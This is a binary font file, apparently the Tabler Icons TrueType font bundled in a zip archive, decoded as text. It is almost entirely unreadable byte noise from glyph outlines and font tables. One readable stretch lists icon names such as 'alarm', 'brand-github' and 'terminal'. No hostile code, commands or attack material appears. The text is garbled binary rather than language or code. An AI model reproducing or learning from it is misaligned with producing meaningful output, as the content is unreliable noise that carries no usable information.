1+Yx2"'&=4767632'.'&7>7676!!54762!#&'./&67>;6322#"'.'&547676;6!236#"'&476#3"#"367>54&+&z  < >   .  <  Z'  LD   .W     R#-  \P  RY  < TS(:IW7&54767>32! 462'&21#"&'&763#"&673>320#"7>4&|x {WV # $ { D # s   I!  ' 'i $K2bq232#"'&'&/&/&'&/&'&'&54?6767676767676?6?54676?6;6"3267654#""327676767>54'&'&/&/&'&/&#'3732#"'&/&'&4637354x   #   ;K!%4,%&        #    x     I.:0&$     %0   1  *,   *?'1   G    #  /8U      , 2#"'&/&546?6372#"&5467632"&'&767632#"'&/&546?637"3276?64&R ^  z   !  7  .   O ]      "       "                  &    #u)Jch  &'&'&'&76?6?6?6"!67>767&'.'&'2 '&/&76?6#35  !)$    E##"  } )! 22T#>###R  TT7&546762!|z " z~KLZD # w  # G}}2Y^z2#"/535476767323+#"'&/!#"'&'&'&47>757676?35'%#3767632=#"#&'&'&'&'7#3'&'&'&/&!72?63'"?>?6&!"?>?6&   ( S +51  &"3 "37 1T*X4)&MU"g  C$n ,, +-}    1 24` zTW  ' %!" "*mmmc LU RL%W{   ,0 * )"  "  Ue21" '&'&/&/&/&7676?676?676?6?63"37'&!!5&'&'&47>?2&547676!2.'&676"?>54&        2   3 &%   f  l- %   -  # ii  5Q    N  41<"`KH:   T   r*F+%' F *(    }  2rx{232+2#"&/&'.'&547632676&'.'./5#32 '&'&7676;#"'&'&756767676&/3%3 *    Y   3  # #    5     -+ik } )1jj1|{ Z  "?& # '  ( $ CD`     }jjL2P_cn222# '&'&'4#"&'5&5&547>?63?>73636;54676"#!54'&!!"!7654z %    : 2*W m   T 1   @$ =   +D  -:   })T#"'&'&'&547>76767676;2765'.5476?6?676?632'&'32 '&'&54?6?>?6767363637&74&#"#"327>76;67/.547>76%37>73232654/&#"/&'&/&#"!)54'&'5&'  ." # #=  /00/    #!    ?#  :     %:,   *? =@ N 0   1  JJ r $2   ( 0///     $:N8  ' "     *? =A       +   G  ukry}23545676?>232+#&'.'&'5##'.'&=#"&'.'57>;54?>7676&'3%&'3!!#3%#35W2& R &2 >  [P R P[   . 7SMSSF`SS#)S1&   &'   &1>  li [P @=   zz   =@ P[ il.TSTRRRR\7"&54?6?6?'&'&'546763276?6767676;2#"'&/&'&/&#"327&/&'&54?67&32?67676&/&'&'&'&2#"'&54767676?6";2676&^ ) 2 M2KR 96).  #3A3 " QC +."- >#"$7)   #2#22   ^ .2 *  *       ( 7 6%  $.   +//  !"& A6     ! ($()R:  "     Q  !%1+J[2#'"'&'&5476?'547676?63#";2767654'&'&'.'3276'G<-< $)1=߁U _ E.'  #HI.# 6 26I M0(ZJ! *$q! m*$S.T(HI!&:"!2>T#v11@D[l2!1 '.'&/47676?67676!3547632!!!'2#"'&'&5476?63"3271654&Q kk +    ) F     1  ,+1P!  ON|T     ';p2#"&'&547676;2#"&'&547676;2#"&'&5476763 3 '.'&?6?3.'&'&/&54676;6!;2767676?6=         xx !Hl l/   &:PfC !C?  ?C !C?  ?C !C?  ?C &&%M<    />14  T!  C'v0;j2 '.'56?6!&'#"&'&'567>767#"#!326767676'&'&'&'&  d   F G   ' >B )A 0RT   ,)HIIHY  x  US  (  >B  )Av1>m2 './&6?>32!&''&'&/5676767>#"32654'5&/!67>4'&'&+7676=4'&V  d  F   s   41  U  IHIH   3, WU   o ! 6      + 6 +B m       V &Ztabler-iconsRegulartabler-iconstabler-iconsVersion 1.0tabler-iconsGenerated by svg2ttf from Fontello project.http://fontello.comtabler-iconsRegulartabler-iconstabler-iconsVersion 1.0tabler-iconsGenerated by svg2ttf from Fontello project.http://fontello.com       !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~     ad adjustmentsalarm alert-circlealert-triangle align-centeralign-justified align-left align-rightarchive arrow-backarrow-bar-downarrow-bar-leftarrow-bar-right arrow-bar-uparrow-down-circlearrow-down-left-circlearrow-down-leftarrow-down-right-circlearrow-down-right arrow-down arrow-forwardarrow-left-circle arrow-leftarrow-narrow-downarrow-narrow-leftarrow-narrow-rightarrow-narrow-uparrow-right-circle arrow-rightarrow-up-circlearrow-up-left-circle arrow-up-leftarrow-up-right-circlearrow-up-rightarrow-uparrows-diagonal-2arrows-diagonalarrows-maximizearrows-minimizeartboardataward backspaceban battery-1 battery-2 battery-3 battery-4battery-chargingbatterybellbike bluetoothboltbookbookmark border-all border-bottomborder-horizontal border-inner border-left border-none border-outer border-right border-topborder-verticalbox briefcasebucketbug building-archbuilding-bridge-2building-bridgebuilding-churchbuilding-hospitalbuilding-storebuildingbulb-offbulbcalendar-eventcalendarcameracashcastchart-area-line chart-area chart-bar chart-candle chart-donut chart-line chart-piecheck chevron-down chevron-left chevron-right chevron-up chevrons-down chevrons-leftchevrons-right chevrons-up circle-check circle-minus circle-pluscircle-xcircleclipboard-checkclipboard-list clipboard-x clipboardclockcloud-download cloud-rain cloud-snow cloud-storm cloud-uploadcloudcodecommandcompasscopy copyrightcorner-down-leftcorner-down-rightcorner-left-downcorner-left-upcorner-right-downcorner-right-upcorner-up-leftcorner-up-right credit-cardcropcut dashboarddatabasedevice-desktop device-mobiledevice-speaker device-tablet device-tv directionsdisableddiscdots-circle-horizontaldots-diagonal-2 dots-diagonal dots-verticaldotsdownloaddropletedit external-linkeyeface-id file-check file-download file-minus file-music file-plus file-shredder file-textfile-xfilefilterflagflip-horizontal flip-vertical folder-minus folder-plusfolder-xfolderfoldersframefriendsgauge git-branch git-commit git-compare git-mergegit-pull-request glass-fullglassglobe grid-dotshash headphoneshearthelphome-2home ice-creamidinbox info-circle info-squarekeylayers-differencelayers-intersectlayers-subtract layers-unionlayout-2layout-align-bottomlayout-align-centerlayout-align-leftlayout-align-middlelayout-align-rightlayout-align-toplayout-bottombarlayout-columnslayout-distribute-horizontallayout-distribute-vertical layout-navbar layout-rowslayout-sidebar-rightlayout-sidebarlayoutlegolifebuoylink live-photolocation lock-openlockmagnet mail-openedmailmanmap-2map-pinmapmaximizemenu message-2message-circle message-dotsmessage microphoneminimizeminus mood-confuzed mood-happy mood-neutralmood-sad mood-smilemoonmousemoviemugmusicnews notificationpackagepaintpalette paperclipparkingpencil phone-callphone-incomingphone-outgoing phone-pausephonephotopluspointpowerprinterpromptpuzzleqrcode record-mailrefresh registeredrotate-clockwiserotaterouterouterrssrulerscissorssearchselectorsendserversettingsshare shield-checkshield-xshield shopping-cartsort-ascendingsort-descending square-check square-minus square-plussquare-xsquarestackstarstickersunswitch-horizontalswitch-verticalswitchtagtargettemperature-celsiustemperature-fahrenheit temperaturetemplate test-pipe thumb-downthumb-upticket toggle-left toggle-righttooltrash trending-down trending-uptriangletrophyunlinkuploadurgent user-check user-minus user-plususer-xuser viewfindervolume-2volume-3volumewifiwomanworldxzoom-inzoom-outaperturearrows-horizontal arrows-sortarrows-verticalbed caret-down caret-left caret-rightcaret-up color-swatch device-floppydevice-gamepad device-laptopdiamonddice file-invoicegiftinfinity list-checklistmessagesnotenotesplane presentation repeat-oncerepeatsumviruswalletanchor arrow-back-uparrow-forward-upatombandagebold border-radiusbrightness-down brightness-up brightness calculatorcoincolumnscurrency-dollar currency-eurodevice-mobile-vibrationdevices drag-drop-2 drag-dropeggeraserexposurefocusghostgit-forkheadsetindent-decreaseindent-increaseitalic line-height mood-tonguenotebookomega plane-arrivalplane-departurerecycleshapesitemap strikethrough subscript superscripttable underlinewifi-0wifi-1wifi-2checkboxloginlogout accessiblecheckscurrency-bitcoincurrency-poundcurrency-rupee currency-yen disabled-2file-horizontal float-center float-left float-rightrotate-2rotate-clockwise-2appsbrowserbrushcalendar-minus calendar-pluscarclickdiscountlanguagelicense new-sectionscaletruck typographybarcodereplacescan slideshowtoolswandbracesbracketsearemphasis file-code fingerprintflaskfocus-2forbid-2forbidkeyboardoutlet parenthesesplug separatorsliceterminal text-wrapalienatom-2basket building-bankbuilding-warehousebusclear-formatting color-pickerexchange firetruckforklifthistorymathsocialtemperature-minustemperature-plus terminal-2tirumbrellausersviewport-narrow viewport-wide ambulancebuilding-communitybuilding-pavilon device-watchdirection-horizontal directiongrip-horizontal grip-verticalhexagonmood-kid mood-suprised phone-check phone-plusphone-xplanet servicemarkshirt snowflakespacetractor trademark traffic-conetreesuser-exclamation layout-cards layout-listrotate-rectangle brand-android brand-apple brand-chromebrand-dribbblebrand-facebook brand-framer brand-github brand-gitlabbrand-google-drive brand-googlebrand-instagram brand-opera brand-paypal brand-safari brand-sketchbrand-snapchatbrand-telegram brand-twitterball-basketball ball-bowling ball-tennisball-volleyballflamehand-middle-finger hand-stop medical-crossmistsunsetwindyin-yanga-badjustments-altadjustments-horizontalbuilding-skyscraper camera-minus camera-pluscapturecopyleft crosshair layout-kanbanlinemarkdownmenu-2 phone-callingpillrocket tallymark-1 tallymark-2 tallymark-3 tallymark-4 tallymarkstruck-delivery truck-return zoom-cancelcontrastletter-aletter-bletter-cletter-dletter-eletter-fletter-gletter-hletter-iletter-jletter-kletter-lletter-mletter-nletter-oletter-pletter-qletter-rletter-sletter-tletter-uletter-vletter-wletter-xletter-yletter-z letters-case live-viewscooter brand-behance brand-codepen brand-mediumbrand-messenger brand-slack brand-tiktokbrand-whatsapp chart-bubblecometmarqueemedalseparator-horizontalseparator-verticalsteering-wheelcaravan gas-station keyboard-hide keyboard-showmars page-breakrunsailboatshipvenuswalkarrow-bar-to-downarrow-bar-to-leftarrow-bar-to-rightarrow-bar-to-upbrand-linkedinbrand-pinterest brand-reddit brand-tabler brand-youtube file-uploadswimming brand-figmah-1h-2h-3h-4h-5h-6 message-plusmessage-reportpin question-markselectsubtask2fabrand-tailwindloader-quarterloader stairs-down stairs-upstairstext-wrap-disabledvector-trianglevector wiper-washwiperzodiac-aquarius zodiac-aries zodiac-cancerzodiac-capricorn zodiac-gemini zodiac-leo zodiac-libra zodiac-pisceszodiac-sagittariuszodiac-scorpio zodiac-taurus zodiac-virgo biohazardfall heart-brokenmood-crymopedoctagonpeacepray radioactivescooter-electric skateboard smoking-nosmokingtrident alert-octagonantenna-bars-1antenna-bars-2antenna-bars-3antenna-bars-4antenna-bars-5 tournament wave-saw-tool wave-sine wave-square3d-cube-sphere brand-windows cloud-fog curly-loopdevice-mobile-rotated file-phone road-sign smart-homesquare-rotated step-intostep-outtornado brand-discord circle-squarecirclesmoon-2 moon-starstriangle-square-circlebell-offbluetooth-connected bluetooth-offbolt-off bookmark-off camera-offcurrent-locationeye-off file-difffile-off map-pin-off percentage phone-off photo-offschool shield-offuser-offwifi-offbrand-deviantart brand-edge brand-firefox brand-flickrbrand-foursquare brand-pocket brand-python brand-skype brand-spotify brand-tumblr brand-twitch brand-vimeo bell-ringing bookmarkschevron-down-leftchevron-down-rightchevron-up-leftchevron-up-rightchevrons-down-leftchevrons-down-rightchevrons-up-leftchevrons-up-rightcredit-card-offcrown float-none folder-offhand-offmicrophone-offscreen-share-off screen-share star-halfaccess-point-off access-point battery-offheadphones-offlock-off video-minus video-off video-plusvideoactivitybrand-appstorebrand-google-playbuilding-monument circle-dashed circle-dotted devices-2 file-dislike file-like filter-offmood-boyworld-latitudeworld-longitude aspect-ratiokaratepanorama-horizontalpanorama-verticalpicture-in-picturerectangle-vertical rectanglestarstraffic-lightsvector-beizer-2arrow-ramp-leftarrow-ramp-right cloud-offmessage-circle-off message-off messages-offpicture-in-picture-offpicture-in-picture-on player-pause player-play player-recordplayer-skip-backplayer-skip-forward player-stopplayer-track-nextplayer-track-prevfile-certificatefile-zipleafplantseedingversions file-symlink fold-downfold-upfold refresh-alert shield-lock square-dotsquare-forbid-2 square-forbiddivide file-searchmap-pins pinned-offpinned speakerphonestar-offsun-off tools-kitchen trash-off virus-off virus-search brand-airbnbbrand-apple-arcadebrand-codesandbox brand-css3 brand-html5 brand-kotlinbrand-soundcloud brand-steam brand-tidal brand-tinderbrand-vk brand-yahoo cardboardsce certificate chart-radarchristmas-treedronegpsmanual-gearbox parachutepennantplant-2relation-many-to-manyrelation-one-to-manyrelation-one-to-onerippleview-360windmillbackhoebuilding-carouselbuilding-castlebuilding-fortressbuilding-lighthousegolfhelicopter-landing helicopter jump-ropemood-crazy-happypool soccer-field speedboat submarinetanktrain wrecking-ballarrow-bottom-bararrow-bottom-circlearrow-bottom-squarearrow-bottom-tailarrow-left-bararrow-left-squarearrow-left-tailarrow-loop-leftarrow-loop-rightarrow-right-bararrow-right-squarearrow-right-tail arrow-top-bararrow-top-circlearrow-top-squarearrow-top-tailarrow-wave-left-downarrow-wave-left-uparrow-wave-right-downarrow-wave-right-uparrows-down-up arrows-down arrows-join-2 arrows-joinarrows-left-right arrows-leftarrows-right-left arrows-rightarrows-split-2 arrows-splitarrows-up-down arrows-upbonelayout-grid-add layout-gridpizzarainbow receipt-tax stethoscopeswitch-2switch-3trending-down-2trending-down-3 trending-up-2 trending-up-3 brand-asana brand-bingbrand-bitbucket brand-booking brand-disqus brand-dockerbrand-google-analyticsbrand-gravatar brand-hipchatbrand-kickstarter brand-netflixbrand-open-source brand-pagekit brand-patreonbrand-producthunt brand-sass brand-sentry brand-shazam brand-stripebrand-unsplashbrand-ycombinatorarrow-big-downarrow-big-leftarrow-big-right arrow-big-toparrows-double-ne-swarrows-double-nw-searrows-double-se-nwarrows-double-sw-ne bell-minus bell-plusbell-ringing-2bell-x file-alertfile-analytics file-code-2 file-export file-import zoom-question file-info file-report files-offfilesnumber-0number-1number-2number-3number-4number-5number-6number-7number-8number-9 receipt-2 receipt-offreceipt-refundreceipt aerial-lift affiliatearrows-left-downarrows-right-downarrows-up-leftarrows-up-rightball-american-footballball-football-off ball-footballbattery-automotivebinary blockquote border-style box-margin box-modelbox-multiple-0box-multiple-1box-multiple-2box-multiple-3box-multiple-4box-multiple-5box-multiple-6box-multiple-7box-multiple-8box-multiple-9 box-multiple box-padding brightness-2brightness-halfbuilding-cottagebuilding-factory bulldozer businessplan calendar-offcalendar-stats calendar-time camera-rotate camera-selfiecash-banknote-off cash-banknote charging-pile chart-arcs-3 chart-arcschart-arrows-vertical chart-arrows chart-circles chart-donut-2 chart-donut-3 chart-donut-4 chart-dotschart-infographic chart-pie-2 chart-pie-3 chart-pie-4circle-0circle-1circle-2circle-3circle-4circle-5circle-6circle-7circle-8circle-9circle-half-vertical circle-half circle-off clear-all code-minus code-pluscolumn-insert-leftcolumn-insert-rightconfetti containercorner-down-left-doublecorner-down-right-doublecorner-left-down-doublecorner-left-up-doublecorner-right-down-doublecorner-right-up-doublecorner-up-left-doublecorner-up-right-double crown-offcurrency-bahraini currency-bath currency-centcurrency-dinarcurrency-dirhamcurrency-dollar-australiancurrency-dollar-canadiancurrency-dollar-singaporecurrency-ethereumcurrency-forintcurrency-frankcurrency-krone-czechcurrency-krone-danishcurrency-krone-swedish currency-leu currency-liracurrency-litecoincurrency-naira currency-realcurrency-renminbicurrency-ripplecurrency-riyalcurrency-rubelcurrency-shekel currency-takacurrency-tugrik currency-woncurrency-zloty cursor-textdatabase-exportdatabase-import database-offdetailsdevice-analyticsdevice-audio-tape device-cctvdevice-computer-camera-offdevice-computer-cameradevice-desktop-analyticsdevice-desktop-offdevice-mobile-message devices-pc dimensions discount-2dna drone-offdroplet-filled-2droplet-filleddroplet-half-2 droplet-half droplet-offear-off edit-circle equal-notequal eye-check eyeglass-2eyeglassfeatherflag-2flag-3flareformsgeometry glass-offgraingrowth hand-fingerhand-little-fingerhand-ring-finger hand-rockhand-three-fingershand-two-fingershangerheading hexagon-off hierarchy-2 hierarchy ice-cream-2 keyboard-off layers-linkedletter-case-lowerletter-case-toggleletter-case-upper letter-caseletter-spacing line-dashed line-dotted list-search lock-accessmacro mail-forwardmailbox marquee-2mask-offmaskmassage math-function math-symbols mood-empty motorbikenfc octagon-offoldolympicsoverlinepacman perspectivephysotherapist play-cardplaylistpokeballpolaroidpresentation-analytics propellerpyramidradius-bottom-leftradius-bottom-rightradius-top-leftradius-top-right rechargingreport-analyticsreport-medical report-moneyreportresizerow-insert-bottomrow-insert-topruler-2 satellite scuba-masksectionsettings-automation shadow-offshadowshape-2shape-3shopping-cart-discountshopping-cart-offshopping-cart-plusshopping-cart-xshredder signaturesocksort-ascending-2sort-descending-2 sport-billardsquare-0square-1square-2square-3square-4square-5square-6square-7square-8square-9 square-off square-root-2 square-rootsquare-rotated-offsquare-toggle-horizontal square-togglesquares-diagonalsquares-filledstack-2 table-export table-import table-offtenttext-direction-ltrtext-direction-rtl tilt-shifttools-kitchen-2tracktree triangle-off truck-offvaccinevariablewindow writing-signwriting zoom-check zoom-moneybottlebrand-javascriptcandycoffeecookielemon list-numbersmeatmilkmushroompeppersaltsausagesort-ascending-letterssort-ascending-numberssort-descending-letterssort-descending-numberssunrise vector-bezier vocabularyad-2angleappleborder-style-2 box-model-2 brand-vercel car-cranecheesecranecupdog-bowlfencefish microphone-2radiosoup transfer-in transfer-outPKZ\l1 l1 fonts/tabler/tabler-icons.ttfnu[ 0GSUB %z8TOS/2ABQ|VcmapTV(Iglyf[xXsxuheadW06hhea$hmtx Dloca_0Hmaxp0 nameg/DFpostRc*E/O_< ܬܬ\~  0>DFLTlatnliga 5PfEd@0ad,  ,  . 1Nl0:04Pn2<.z"L ^6F  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~6      <    !! ""!##"$$#%%$&&%''&(('))(**)++*,,+--,..-//.00/110221332443554665776887998::9;;:<<;==<>>=??>@@?AA@BBACCBDDCEEDFFEGGFHHGIIHJJIKKJLLKMMLNNMOONPPOQQPRRQSSRTTSUUTVVUWWVXXWYYXZZY[[Z\\[]]\^^]__^``_aa`bbaccbddceedffeggfhhgiihjjikkjllkmmlnnmoonppoqqprrqssrttsuutvvuwwvxxwyyxzzy{{z||{}}|~~}~          !!""## $$!%%"&&#''$((%))&**'++(,,)--*..+//,00-11.22/330441552663774885996::7;;8<<9==:>>;??<@@=AA>BB?CC@DDAEEBFFCGGDHHEIIFJJGKKHLLIMMJNNKOOLPPMQQNRROSSPTTQUURVVSWWTXXUYYVZZW[[X\\Y]]Z^^[__\``]aa^bb_cc`ddaeebffcggdhheiifjjgkkhllimmjnnkoolppmqqnrrosspttquurvvswwtxxuyyvzzw{{x||y}}z~~{|}~           !!""##$$%%&&''(())**++,,--.. //!00"11#44$55%66&77'88(99)::*;;+<<,==->>.??/@@0AA1BB2CC3DD4EE5FF6GG7HH8II9JJ:KK;LL<MM=NN>PP?QQ@RRASSBTTCUUDVVEWWFXXGYYHZZI[[J\\K]]L^^M__N``OaaPbbQccRddSeeTffUggVhhWiiXjjYkkZll[nn\oo]pp^qq_rr`ssattbuucvvdwwexxfyygzzh{{i||j}}k~~lmnopqrstuvwxyz{|}~      !!""## $$ %% && '' (())**++,,--..//002233445566778899::<< ==!>>"??@@#AA$BB%CC&DD'EE(FF)GG*HH+II,JJ-KK.LL/MM0NN1OO2PP3QQ4RR5SS6TT7UU8VV9WW:XX;YY<ZZ=[[>\\?]]@^^A__B``CaaDbbEccFddGeeHffIggJhhKiiLjjMkkNllOmmPnnQooRppSqqTrrUssVttWuuXvvYwwZxx[yy\zz]{{^||_}}`~~abcdefghijklmnopqrstuvwxyz{|}~      !!""##$$%%&&''(( )) ** ++ ,, --..//00112233445566778899::;;<<==>>?? @@!AA"BB#CC$DD%EE&FF'GG(HH)II*JJ+KK,LL-MM.NN/OO0PP1QQ2RR3SS4TT5UU6VV7WW8XX9YY:ZZ;[[<\\=]]>^^?__@``AaaBbbCccDddEeeFffGggHhhIiiJjjKkkLllMmmNnnOooPppQqqRrrSssTttUuuVvvWwwXxxYyyZzz[{{\||]}}^~~_`abcdefghijklmnopqrstuvwxyz{|}~6      !!""##$$%%&&''(()) ** ++ ,, -- ..//004H\l P 0    h8<DlL |"$%$'<'(X)P*D,.h1@3568h9;<>@ACF(G@HItJPK8NQTxW[]adghPj$kDmoplrsu@wly{}dHHlhHDX Dh$@PTTxT0ǸȨ(̰ΠѠTPxhdެ߰dh| `\(@\  (tltl,d| !$%\&'*+\-.0l24d579:<=>\?X@hAPB,CpDEF|GXH8JtLOQUtVWYd[\]_$a<cTdDefhh4jPkmpoqqtdwy0{~0\,TdD\,D @4hxX`(lӔԔא|٠ܤߠ L,0hD(Tt(x | h\d "#\$%P&&'\'((*@+-.h/T024689;0<=?A$BDxE8HJL@MTNhPRSVY\]`8ce,fhjhkpmpqxrXsu|xz|}L~l XD`(`L4hX(L<<hLHHH,Ũ8XDդx,4ܜ߬tT0|d4xl00   XPXLX "@#0$(& '(+T-/14<68d9<=L?@ADDGHJ@KMP<RULVWZ[\`]_bdLfdg(jjm@p8rptx(y|h~4x$t0hPPl X(@h0Pd<Äh,ƤtȠPHΠ4HӜhTHۜ$DhLdX0d  $\` !x"#$&L( *+\-`.002 3P5T889;=\?ApC ELG|I0IKM,O`QSpUWYZ\L]4_acXdeghijHk0l(mTnoqr|uvx|zp{,}~tPl X8DXH0 ,T\x(tÜƴd4PШTѬ`(Ԕ֠װشd$8``xP ,x < X8`@ X"@$T%l')*, ,-./T04102 4,7L9:<=?ABDFIJ,K L M,O<QDRSTVYXZ\`,dfgi\jlDlnprptTuw,y z}~d\TpH`pXxh$àXŀƴP$ɔp@$Tpм ԀP|׸ۄܘݸL\8Ph$,  `!"$ &x(<*,@-/1t25 68:L;<=<>0?@(ABBDF HXJtLhNORDS@T4U8V$Y([]_acehilmpr@t(v|xz|0$ H|8H\0 48hXˬH0ٔ|ܜݼ\L \D<D d  4 <tD !#$&),-/0t2,48L:=>@4AhB`CF$GHILKMOPPPQTLVXZ\^l`cdfhDjxlmnpDqstvdx z {}8h@HdHPdLt$°hl,|@<   0`DH|,8,X8 @   hlL  "$ &p'd)|+,/ 024h7:\<,=@BDXF4GIKMOQTSVhXZ[]`,axacegPhk<loLpdqs@tu/Qz!&'&'&'&='46?>76;6 #!367676?5&'&/&2'&'&=#/&/5476763+"&/&'&'&547>76;5&767676320'&'&#"3";54&'&+ #   --0!  #`* e! R S  !$        R     ח4  ) ח4% T L   T  ^^ ^^ R   ? T 4*  t1e2"'&'&=&'.547676?547676!2#"&'&'&=&'.547676?5476764632"'&'&=&'.547676?4&#"3264&#"326"#"3264& #  " #     #    #   #  " #  S    "ED (  !"DE " (  !" , '  !"u j  %o2n2'&'&67>764632'&'&/&'&2#"'&/&/&/&/&/&547676767>763";27676?6?67>54'.'&'&"3654'&'#54..  y w !    ; x[ %#! */#$ $   F*?/'"L@-2##  /%%* j 4  X W)   + I& 1*5D/*. %   " #)# $8S .W  " 7* /*/& A S" ! 0 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&2'&'&47676?>"32654'&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8-   "  0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%} RX #   3!9LX2 '&'&54767>7676#"! 7676'&.2#"'&'&476"276'&'&I&  /+   > $*        A 2@ $ !5 T mk      ". ]""" t*A  '&'&54676;62 '&547676" 7367676'&/&R ^        "           u/H  '&'&54676;6  '&'&54676;6"#" 7654'&'&R ^  R ^  W}    "     "         t/L  '&'&54676;62 '&'&54676;6"#" 7367676'&/&R ^  , X  m  O   "     "        u/C  '&'&54676;62 '&'&54676;6  76764'&'&R ^  & X  m O  "     "       " *7GX  '&'&=&/&'&7676?6!64'%&"!!6767676/"27>4&'&1  RVX '  "\'T G   V : T^¿ B} <   >""uU"#"+7>76'&'&+";2676/./3?67654'&'&/&/&'&'&  !5< 2    2 N7*   $;2     2 E5I   vH&'&476?6!"'&'&'&#"26?676754&'&'&#"54'& WV  3!    !3  $  "2!       !2"u?%#"&'&547>2#"32654'&/327654&'&+?67>54&u   0^ 31  1<#   0_  32 2 v>632#"'#"#";32?6?>4&/&/&  ! 31  1  # x #$ 32 2  v2D"&=676?62#"'&'&/#"'&'&= !67654'&'Z   !3  3!         !2" 2! _    07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"'.'&2?>754&'&54'.'#&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#+ 2 " 2 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." } wu2  2uw 182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"2?>'&'.+7>.'&54'&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 8      j[X   X[ 1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*%#  [XX[KM")"54'54&"!67>4'&'&+767654&  n  =I  !  182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"#"37>?4'&'&'&/&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 8X[KM    1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*% X[ $   MK+"#"!7>?&'.#"'&'&-  n     " n I=$."'&'&#"27>76/.#"54'.'#& \Z    Z\  [Z Z[ KS"3;27>76=4'.'&+"#"'&'&'&54?6767>?676/.'&h2$!S'5 2    2?'  <"eB2     2 7    7:P2!767632+"'&/&'&/!./&?>76#"3276764'&/.# )# /  # A# /     7%  #3   %  ~!  K1"#"76764'&/327>76=4'&'&+767654'&'&Z[  [Z      Z\  \Z  +"'.'&2>?64'&'&6&'&'#& 2  2 2  2uP" Ka+"#3276/./3276764'&'&+7>76'.    2 2`# 2 # 2 L`3"!&;;>?64/.| 2P"   2  Ij[U` 2 2 Hj"[V7"#"7>?3;27676=7>?>=./.  2 2 Hj  2P"  2   Ij8?O2&'&76?!#"&'&'&5476?67>32!'&'&47676#";2>'&  #A   "#   7 %  )    % ~  ! L."#";7>764'.'#&*Z[  [Z   Z\  \Z   07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"#"?>?327676=76767=./.mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#* # 2   2  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }  2uw  wu2 182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"7>76=>76&/3267>'&/&@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 80}  [XX[j    1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*% } MK[X X[ *#3276=6=32654'&/3276764&'&'     I=  "182#"'&'&/&'&547676767676763"#"3276?6?676?6?6767>4&/&'&'&'&/&'&"#&;?6?7>765'.'@:/262C*65 ZJ:=/%"5$&CJ   !  #   &2    0* 8 8-(+   MK[X *  1:Nx A9.3 *#-  4% ^o J;5.! S  FN;- !  F4"D" 2&*% [X +KM  )#;3276?26767'./    #  =I n &0"#"3276?;27676=326'&/.  Z\  \Z   Z[  [Z%t*S#"'&/47>7673##"/&/"#3675&'&#"'.   O\ L  y L    , \W           Lt %P&'&476763#"'&'5#"&54?6?"5&'&#"3767654'&'#76?654'.        W[   W\ L $ L  W[L \W      t *Py#"'&/47>7673##"/&/%&'&476763#"'&'5#"&54?6?2767>323"'&'&57676%"#3675&'&#"'.   O\ L         [W  L \W   L    , \W     < $ L  _ L[W     W\ S      L2;p2546?6736;211##"'.'&=47676;'&'&47676!232#"'"'1&'1&5&547>76;276762211+"'&'&=&'&76?#"&/&'5&=4676!"3;27676=>76&/3267654'&'&   <[   "[X X[6  [<   =   * X["   T  [XX[6  1"   [<   [X   X[   <[   "  <[   "+ X[ T*     "[X X[   10H}2+"'&'&54676!2+"'&'&57676762#'&'&/&763%2+"'&'&/&'&=476?676;646372"'&/&5#3!2#"&'&?676736!"'&'&=467672'&'&546?63!#"767654'&'&W    S       ^' //  &IX        ,     W  1    ,       //   //  $  $                2%"'&'#"'&'&'&547676?676763232?4'&/&'&/&'&'&'&/&'&#"327676#"&'&'&'&/&54767676?67676323#"3276?67654'&'& * $=*#0  $- (  2 &/   *     , )(+  @.2A"N69$ !;,$$'/F8Q3 P !"T 1     'E   &,2 1-$ %   &(&(/B    !14G<>C:22:1 &6U &?3 N K  TF) 1Gw%#"/&46?6?&?6?67676?6372#"/#"/#"&'&'"#"32767654'&/&/&'&72764/&/&'&17>76763&'t A  (/K ^F )  A>H  o-   1      " 8,$)  38O ' 0  <F O.y&)'pKB  .&!$ 